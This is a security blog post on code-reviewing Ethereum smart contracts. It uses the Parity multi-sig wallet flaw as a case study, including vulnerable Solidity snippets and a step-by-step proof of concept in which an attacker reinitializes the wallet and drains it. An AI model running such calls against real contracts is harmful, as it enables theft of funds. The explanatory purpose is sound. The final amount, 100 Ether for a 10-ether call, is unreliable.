RECENT POSTS

- Remote Code Execution in BlackBerry Workspaces Server
- Pentesting Fast Infoset based web applications with Burp
- Reviewing Ethereum Smart Contracts
- Linux based inter-process code injection without ptrace(2)
- Whitepaper: The Black Art of Wireless Post-Exploitation - Bypassing Port-Based Access Controls Using Indirect Wireless Pivots

SEARCH

→

CATEGORIES

- Application Security (69)
- Cloud Security (2)
- Custom Rules (5)
- Embedded Security (2)
- General Security (14)
- Infrastructure Security (14)
- Mobile Security (11)
- Tools (34)
- Web Security (6)
- Wireless Security (1)

ARCHIVES

- October 2017 (2)
- September 2017 (2)

RSS FEED

- Blog RSS

TWITTER

@gdssecurity
Our newest blog post covers a coordinated disclosure with @BlackBerry for 2 new CVEs. Read up, folks! https://t.co/YauT0GAQL5
about 2 weeks ago

@gdssecurity
Check out our latest blog post covering Ethereum smart contract profiling and code review. https://t.co/7DIvpJfWRu
about a month ago

Older

TAGS

.NET
101
AlienVault
AMF
Android
AntiXSS
API
AppSec
April
Fools
ASP.NET
Azure
BlazeDS
Blazentoo
Boot
bsideslv

- August 2017 (1)
- July 2017 (1)
- May 2017 (2)
- April 2017 (1)
- March 2017 (2)
- January 2017 (1)
- December 2016 (1)
- August 2016 (1)
- June 2016 (4)
- May 2016 (3)
- March 2016 (1)
- January 2016 (1)
- December 2015 (1)
- November 2015 (1)
- October 2015 (2)
- September 2015 (3)
- August 2015 (2)
- July 2015 (1)
- June 2015 (2)
- May 2015 (1)

Burp
Burpee
casbah
Certificates
CHECK
Cloud
Code
Review
Conference
Configuration
Crypto
CSAW
CSI
CSP
CTF
Custom
Rules
CVE
defcon
Deflate
distributed
applications
Docker
Dojo
DotNetNuke
EC2 ELB
ethereum
Event
Validation
Evil Maid
evil twin
Exploitation
F5
fast
infoset
findbugs
FIX
Flex
Fortify
FTP
Fuzzing
GDSCon
GWT
GWTEnum
GWTParse
HTLM5
IIS
Internet
of
Things
iOS
IronWasp
ISSD
Java

- April 2015 (2)
- March 2015 (3)
- February 2015 (4)
- January 2015 (2)
- December 2014 (1)
- October 2014 (1)
- September 2014 (1)
- August 2014 (1)
- July 2014 (2)
- June 2014 (2)
- April 2014 (2)
- February 2014 (1)
- December 2013 (2)
- November 2013 (3)
- October 2013 (1)
- September 2013 (4)
- August 2013 (1)
- June 2013 (1)
- May 2013 (2)
- March 2013 (2)

JavaScript
jetty
karma
logjam
Metasploit
Mobile
Mobile
Security
MVC
Nessus
Network
Network
Security
Tools
Nimbus
Nmap
Node.js
nslog
oracle
OSSIM
OSX
OWASP
PadBuster
Padding
Oracle
Pentesting
plugin
PMD
privileged
identities
Rails
Real
World
Remote
Code
Execution
Response.Redirect
RFC
rogue
access
points
saml
SCA
scala
SDL
Secure
Coding
Security
SendSafely
Server.Transfer
shellshock
Simulator

- February 2013 (3)
- December 2012 (1)
- August 2012 (1)
- July 2012 (1)
- June 2012 (1)
- May 2012 (2)
- March 2012 (1)
- November 2011 (1)
- September 2011 (2)
- August 2011 (2)
- June 2011 (2)
- May 2011 (1)
- April 2011 (1)
- November 2010 (3)
- October 2010 (2)
- September 2010 (2)
- August 2010 (1)
- July 2010 (1)
- May 2010 (2)
- April 2010 (1)

Social Engineering
SOURCE
SPF
Spring
SQL Injection
SqlBrute
ssh
SSL/TLS
Static Analysis
StockTrader
Struts
Threat Modeling
tools
Tracer
Training
Transformer.NET
Umbraco
vCenter
VMWare
vuln disclosure
WCF
Web 2.0
Web Security
weblogic
WebMatrix
whitepaper
Wifi
Windows
wireless
xml
XSS
XSS
worm
xxe

- March 2010 (2)
- February 2010 (1)
- January 2010 (1)
- November 2009 (3)
- October 2009 (1)
- August 2009 (3)
- April 2009 (1)
- March 2009 (2)
- February 2009 (1)
- December 2008 (2)
- October 2008 (1)
- September 2008 (1)
- August 2008 (3)
- June 2008 (1)
- May 2008 (1)
- April 2008 (1)
- March 2008 (1)
- February 2008 (2)
- January 2008 (1)
- December 2007 (4)

Wednesday
Sep272017

Reviewing Ethereum Smart Contracts

Wednesday, September 27, 2017 At 1:47PM

Ethereum has been in the news recently due to a string of security incidents affecting smart contracts running on the platform. As a security engineer, these stories piqued my interest and I began my own journey down the rabbit hole that is Ethereum “dapp” (decentralized application) development and security. I think it is a fascinating technology with some talented engineers pushing the boundaries of what is possible in an otherwise trustless network. The community has

also begun to mature, as projects have started bug bounties, **security best practices** have been published, and vulnerabilities in the technology itself have been patched.

Still, if Ethereum's popularity is to continue to grow, I believe that it is going to need the help of the wider security industry. And therein is a problem. Most security engineers still don't know what Ethereum even is, let alone how to perform a security review of an application running on it.

As it turns out, there are some pretty big similarities between traditional code review and Ethereum smart contract review. This is because smart contracts are functionally just ABI (application binary interface) services. They are similar to the very API services that many security engineers are accustomed to reviewing, but use a binary protocol and set of conventions specific to Ethereum. Unsurprisingly, these details are also what make Ethereum smart contracts prone to several specific types of bugs, such as those relating to function reentrancy and underflows. These vulnerabilities are important to understand as well, although they are a bit more advanced and best suited for another blog post.

Let us take a look at a case study to examine the similarities between traditional code review and smart contract review.

A CASE STUDY: THE PARITY "MULTI-SIG" VULNERABILITY

On July 19, 2017, a popular Ethereum client named **Parity** was found to contain a **critical vulnerability** that lead to the theft of $120MM. Parity allows users to setup wallets that can be managed by multiple parties, such that some threshold of authorized owners must sign a transaction before it is executed on the network. Because this is not a native feature built into the Ethereum protocol, Parity maintains its own open source Ethereum smart contract to implement this feature. When a user wants to create a multi-signature wallet, they actually deploy their own copy of the smart contract. As it turned out, Parity's multi-signature smart contract contained a vulnerability that, when exploited, allowed unauthorized users to rob a wallet of all of its Ether (Ethereum's native cryptocurrency).

Parity's multi-signature wallet is based off of another open source smart contract that can be found **here**. Both are written in Solidity, which is a popular Ethereum programming language. Solidity looks and feels a lot like JavaScript, but allows developers to create what are functionally ABI services by making certain functions callable by other agents on the network. An important feature of the language is that ABI functions are publicly callable by default, unless they are marked as "private" or "internal".

In December of 2016, a redesigned version of the multi-signature wallet contract was added to Parity's GitHub repository with some considerable changes. The team decided to refactor the contract into a library. This meant that calls to individual multi-signature wallets would actually be forwarded to a single, hosted library contract. This implementation detail wouldn't be obvious to a caller unless they examined the code or ran a debugger.

Unfortunately, it is during this refactor that a critical security vulnerability was introduced into the code

- **November 2007** (3)
- **October 2007** (2)

base. When the contract code was transformed into a single contract (think *class in object-oriented programming*), all of the initializer functions lost the important property of initialization: Only being callable once. It was therefore possible to re-call the contract's initialization function even after it had already been deployed and initialized, and change the settings of the contract.

How can attacks like the one on Parity's contract be avoided? As it turns out, the vulnerability would have likely been caught by a short code review.

PROFILING SOLIDITY FUNCTIONS

As I mentioned, Ethereum smart contracts are functionally just ABI services. One of the first things we do as security engineers when reviewing an application is to map out which endpoints we have authorization (intentionally or unintentionally) to interact with.

We can easily do this for a Solidity application using a tool I wrote called the **Solidity Function Profiler**. Let's run it on a vulnerable version of the multi-signature contract described earlier, looking for visible (public or external) functions that aren't constants (possibly state changing) and don't use any modifiers (which may be authorization checks). If we were looking for new vulnerabilities, we would obviously apply much more scrutiny to the output of the tool. For the sake of this blog post, simply looking for functions that fit the above criteria is adequate.

For those who want to follow along at home, a vulnerable version of the contract code can be found **here**. This is the code that we will be referencing throughout the rest of this blog post.

Four functions fit this criteria and have been bolded in the table below.

Contract	Function	Visibil
WalletLibrary	()	public
WalletLibrary	**initMultiowned(address,uint)**	**public**
WalletLibrary	**revoke(bytes32)**	**extern**
WalletLibrary	changeOwner(address,address)	externa
WalletLibrary	addOwner(address)	externa
WalletLibrary	removeOwner(address)	externa
WalletLibrary	changeRequirement(uint)	externa
WalletLibrary	getOwner(uint)	externa
WalletLibrary	isOwner(address)	public
WalletLibrary	hasConfirmed(bytes32,address)	externa
WalletLibrary	**initDaylimit(uint)**	**public**
WalletLibrary	setDailyLimit(uint)	externa
WalletLibrary	resetSpentToday()	externa
WalletLibrary	**initWallet(address,uint,uint)**	**public**
WalletLibrary	kill(address)	externa
WalletLibrary	execute(address,uint,bytes)	externa
WalletLibrary	create(uint,bytes)	interna
WalletLibrary	confirm(bytes32)	public
WalletLibrary	confirmAndCheck(bytes32)	interna

WalletLibrary	reorganizeOwners()	private
WalletLibrary	underLimit(uint)	interna
WalletLibrary	today()	private
WalletLibrary	clearPending()	interna
Wallet	Wallet(address,uint,uint)	public
Wallet	()	public
Wallet	getOwner(uint)	public
Wallet	hasConfirmed(bytes32,address)	externa
Wallet	isOwner(address)	public

CALL DELEGATION

All four identified functions are found in the contract's library, meaning that we may not be able to reach them because the main Wallet contract doesn't expose them. However, a quick read of the source code reveals the use of a call forwarding pattern that delegates calls made to the Wallet contract to the WalletLibrary contract. This is done via a *fallback* function, which is a special function that gets called when no matching function is found during a call or when Ether is sent to a contract. With this information we know that these functions can be called.

```
395: contract Wallet is WalletEvents {
[..snip..]
423:   // gets called when no other function
424:   function() payable {
425:     // just being sent some cash?
427:     if (msg.value > 0)
428:       Deposit(msg.sender, msg.value);
429:     else if (msg.data.length > 0)
430:       _walletLibrary.delegatecall(msg.d
431:   }
```

This call delegation pattern is typically discouraged due to the security implications it can pose when calling external, untrusted contracts. In this case the delegatecall function is used to proxy calls to what would be a trusted library contract, so while it is a bad practice it isn't an active issue here. If the contract's developers had been more explicit about what calls were allowed to be delegated by this function, the vulnerability may have never existed. However, the delegation itself is not the direct cause of the vulnerability, and continues to exist even in the patched version of this contract.

THE VULNERABILITY: WALLET REINITIALIZATION

If we look at the source code associated with the four functions listed above, we discover that the revoke function performs an authorization check. However, the remaining three functions don't perform such a check and seem like they might be quite interesting. For example, the initMultiowned function sets the contract's list of owners and the number of signatures required to perform transactions:

```
105:   // constructor is given number of sig
106:   // as well as the selection of addres
107:   function initMultiowned(address[] _ow
108:     m_numOwners = _owners.length + 1;
109:     m_owners[1] = uint(msg.sender);
```

```
110:     m_ownerIndex[uint(msg.sender)] = 1;
111:     for (uint i = 0; i < _owners.length
112:     {
113:       m_owners[2 + i] = uint(_owners[i]
114:       m_ownerIndex[uint(_owners[i])] =
115:     }
116:     m_required = _required;
117:   }
```

The initDaylimit function changes the daily limit on the amount of Ether that is allowed to be transacted:

```
200:   // constructor - stores initial daily
201:   function initDaylimit(uint _limit) {
202:     m_dailyLimit = _limit;
203:     m_lastDay = today();
204:   }
```

The initWallet function simply calls the two functions described above, passing them the function's own arguments as wallet settings:

```
214:   // constructor - just pass on the own
215:   // the limit to daylimit
216:   function initWallet(address[] _owners
217:     initDaylimit(_daylimit);
218:     initMultiowned(_owners, _required);
219:   }
```

All of this makes sense so far, as these functions are used to initialize the state of a new wallet. However, what are these functions used for once the wallet is initialized? What would stop them from simply being re-called and overwriting the wallet's settings?

The answer to both questions is *nothing*. These functions are intended to only be called once by the original owner, but there isn't anything enforcing this. There are no authorization checks, no visibility specifiers to make the functions internal, and not a single check to make sure that the wallet hasn't been initialized already.

This is the root cause of the vulnerability. These functions are **public** and **state changing**, and we've discovered this using the Solidity Function Profiler and a bit of manual code review.

PROOF OF CONCEPT REPRODUCTION

The attacker's exploit code may have looked something like this (using the Web3 JavaScript API):

```
// "Reinitialize" the wallet by calling init
web3.eth.sendTransaction({from: attacker, to

// Send 100 ETH to the attacker by calling e
web3.eth.sendTransaction({from: attacker, to
```

It can be a little difficult to parse out what's going on with raw call data. Let's break this down a bit further using a more in-depth example reproduction. Consider the following actors with the corresponding addresses:

- **Multi-Sig Wallet Contract:** 0xde6a66562c299052b1cfd24abc1dc639d429e1d6
- **Original Owner Account:** 0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
- **Second Owner Account:** 0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db

- **Attacker Account:**
  0xca35b7d915458ef540ade6068dfe2f44e8fa733c

The initialization of a multi-signature wallet would look something like this, where the first argument is an array of additional owner addresses, the second is the number of signatures required, and the third is a daily limit:

From	Original Owner (0x14723a09acff6d2a60dcdf7aa4aff308fddc160c)
To	Multi-Sig Wallet (0xde6a66562c299052b1cfd24abc1dc639d429e1d6)
Call	initWallet(["0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db"], 2, 3)
Result	0x
Events	*none*

We can see that there are now two owners, one being the original owner and the other being the second owner:

From	Original Owner (0x14723a09acff6d2a60dcdf7aa4aff308fddc160c)
To	Multi-Sig Wallet (0xde6a66562c299052b1cfd24abc1dc639d429e1d6)
Call	m_numOwners
Result	2
Events	*none*

From	Original Owner (0x14723a09acff6d2a60dcdf7aa4aff308fddc160c)
To	Multi-Sig Wallet (0xde6a66562c299052b1cfd24abc1dc639d429e1d6)
Call	getOwner(0)
Result	0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
Events	*none*

From	Original Owner (0x14723a09acff6d2a60dcdf7aa4aff308fddc160c)
To	Multi-Sig Wallet (0xde6a66562c299052b1cfd24abc1dc639d429e1d6)
Call	getOwner(1)
Result	0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db
Events	*none*

The original owner and the second owner would then deposit funds into the wallet by sending the contract Ether (which would actually call the *fallback* function, which gets called when Ether is sent).

We can confirm that attempting to make a privileged call (any function using the onlymanyowners modifier) as an owner *does* generate a confirmation event. For example, attempting to execute a transaction above the daily limit (expressed as Wei in the call, rather than Ether) generates a confirmation event as well as a confirmationRequired event. This is expected since an additional signature is required:

From	Original Owner (0x14723a09acff6d2a60dcdf7aa4aff308fddc160c)
To	Multi-Sig Wallet (0xde6a66562c299052b1cfd24abc1dc639d429e1d6)

Call	execute("0xdd870fa1b7c4700f2bd7f44238821c26f7392148", "1000000000000000000", [])
Result	0x9bf4e669ac38b35d36c7b4574788577b908799d493ef63f40037afd6933c7be1
Events	Confirmation["0x14723a09acff6d2a60dcdf7aa4aff308fddc160c", "0x9bf4e669ac38b35d36c7b4574788577b908799d493ef63f40037afd6933c7be1"] ConfirmationNeeded["0x9bf4e669ac38b35d36c7b4574788577b908799d493ef63f40037afd6933c7be1", "0x14723a09acff6d2a60dcdf7aa4aff308fddc160c", "4", "0x0", "0x"]

We can also confirm that attempting to make a multi-signature call as the attacker results in no execution or event generation, as the attacker's address isn't in the map of owner addresses. The call fails immediately:

From	Attacker (0xca35b7d915458ef540ade6068dfe2f44e8fa733c)
To	Multi-Sig Wallet (0xde6a66562c299052b1cfd24abc1dc639d429e1d6)
Call	execute("0xca35b7d915458ef540ade6068dfe2f44e8fa733c", "1000000000000000000", [])
Result	0x0000000000000000000000000000000000000000000000000000000000000000
Events	*none*

Now that we have a baseline for expected contract behavior, let's break it by simply "reinitializing" the contract as the attacker. We give the function an array of owner addresses containing just the attacker's address. This actually sets *two* owner addresses (both being the attacker's), since the contract uses the sender's address as well as the list of supplied owner addresses. This is an important detail for an attacker to consider, because the initWallet function doesn't ensure that all previous owners are removed (and therefore locked out of the wallet). The side effect of calling the initWallet function again that is being exploited here is that it overwrites the first N elements of the owner address map, where N is the length of our supplied list of owner addresses:

From	Attacker (0xca35b7d915458ef540ade6068dfe2f44e8fa733c)
To	Multi-Sig Wallet (0xde6a66562c299052b1cfd24abc1dc639d429e1d6)
Call	**initWallet(["0xca35b7d915458ef540ade6068dfe2f44e8fa733c"], 1, 0)**
Result	0x
Events	*none*

Querying the contract again for the first owner, we now get:

From	Attacker (0xca35b7d915458ef540ade6068dfe2f44e8fa733c)
To	Multi-Sig Wallet (0xde6a66562c299052b1cfd24abc1dc639d429e1d6)
Call	getOwner(0)
Result	**0xca35b7d915458ef540ade6068dfe2f44e8fa733c**
Events	*none*

From	Attacker (0xca35b7d915458ef540ade6068dfe2f44e8fa733c)
To	Multi-Sig Wallet (0xde6a66562c299052b1cfd24abc1dc639d429e1d6)
Call	getOwner(1)
Result	**0xca35b7d915458ef540ade6068dfe2f44e8fa733c**
Events	*none*

We can also see that the number of required owners has also been successfully changed. The daily limit is irrelevant in this case because the contract ignores it if only 1 signature is required.

From	Attacker (0xca35b7d915458ef540ade6068dfe2f44e8fa733c)
To	Multi-Sig Wallet (0xde6a66562c299052b1cfd24abc1dc639d429e1d6)
Call	m_required
Result	**1**
Events	*none*

At this point it is trivial for the attacker to steal all of the funds in the wallet. The attacker is an owner and only one signature is required. The returned 0 indicates that there is no associated ConfirmationNeeded data, and that the contract has paid out:

From	Attacker (0xca35b7d915458ef540ade6068dfe2f44e8fa733c)
To	Multi-Sig Wallet (0xde6a66562c299052b1cfd24abc1dc639d429e1d6)
Call	execute("0xca35b7d915458ef540ade6068dfe2f44e8fa733c", "10000000000000000000", [])
Result	0x0000000000000000000000000000000000000000000000000000000000000000
Events	SingleTransact["0x14723a09acff6d2a60dcdf7aa4aff308fddc160c", "10000000000000000000", "0xca35b7d915458ef540ade6068dfe2f44e8fa733c", "0x", "0x0"]

In this fictional example, the attacker has made off with 100 Ether (currently ~$30,000 USD).

CONCLUSION

Attacks involving transaction malleability, function reentrancy, and underflows all dwarf this kind of vulnerability in complexity. However, sometimes the worst vulnerabilities are hiding in plain sight rather than underhanded or buggy code.

We have seen that applying a simple code review technique of profiling an application would have likely caught this vulnerability early on. Knowledge of the Solidity language and the EVM is required, but these can be picked up by consulting documentation, known pitfalls, and open source code bases. The underlying code review methodology stays largely the same.

Eric Rafaloff | **Post a Comment** | **Share Article**
tagged **distributed applications**, **ethereum** in **General Security**

READER COMMENTS

> There are no comments for this journal entry. To create a new comment, use the form below.